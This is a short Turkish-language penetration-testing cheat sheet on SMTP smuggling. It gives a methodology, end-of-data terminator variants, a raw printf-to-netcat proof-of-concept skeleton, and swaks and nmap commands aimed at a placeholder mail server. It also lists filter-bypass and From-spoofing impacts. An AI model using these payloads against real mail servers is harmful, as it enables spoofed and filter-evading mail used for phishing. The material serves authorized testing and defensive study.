SMTP Smuggling

network smtp

SMTP smuggling, gönderen ve alan MTA’nın mesaj sonu / satır sonu yorumunu farklılaştırmasından doğar. Amaç: güvenlik filtrelerini atlatıp sahte veya ikinci bir mesaj enjekte etmek.

Metodoloji

Zincirdeki MTA’ları ve proxy/filter’ı belirle.
<CR><LF>.<CR><LF> ve alternatif terminator varyantlarını test et.
Enjekte mesajın ikinci alıcıya düşüp düşmediğini doğrula.
Spoof + filter bypass etkisini kanıtla.

Klasik terminator

DATA
From: attacker@evil.com
To: victim@corp.local
Subject: one

hello
.

Smuggle varyantları

\r\n.\r\n

\n.\n

\r\n.\n

\n.\r\n

\r\n.\r\nMAIL FROM:<second@evil.com>\r\n...

PoC iskeleti (swaks / raw)

printf 'EHLO a\r\nMAIL FROM:<a@evil.com>\r\nRCPT TO:<victim@corp.local>\r\nDATA\r\nSubject: x\r\n\r\nbody\r\n.\r\nQUIT\r\n' | nc TARGET 25

# İkinci mesajı DATA gövdesine gömülü terminator ile dene

Outer message → filter görür
Inner message → outbound MTA ayrı mail olarak iletir

Etki senaryoları

- SPF/DKIM bypass görünümü (yanlış hizalı zincir)
- Güvenlik gateway'inin engellediği eki iç mesajda geçirmek
- İç kullanıcıya spoof From ile ikinci mail

Araçlar

nmap -p25,465,587 -sV TARGET

swaks --server TARGET --to victim@corp.local --from a@evil.com --data smuggle.eml

python3 smtp_smuggle_probe.py --target TARGET --rcpt victim@corp.local

Checklist

[ ] MTA zinciri haritalandı
[ ] Terminator varyantları gönderildi
[ ] İkinci/mesaj-içi teslimat kanıtlandı
[ ] Spoof veya filter bypass etkisi belgelendi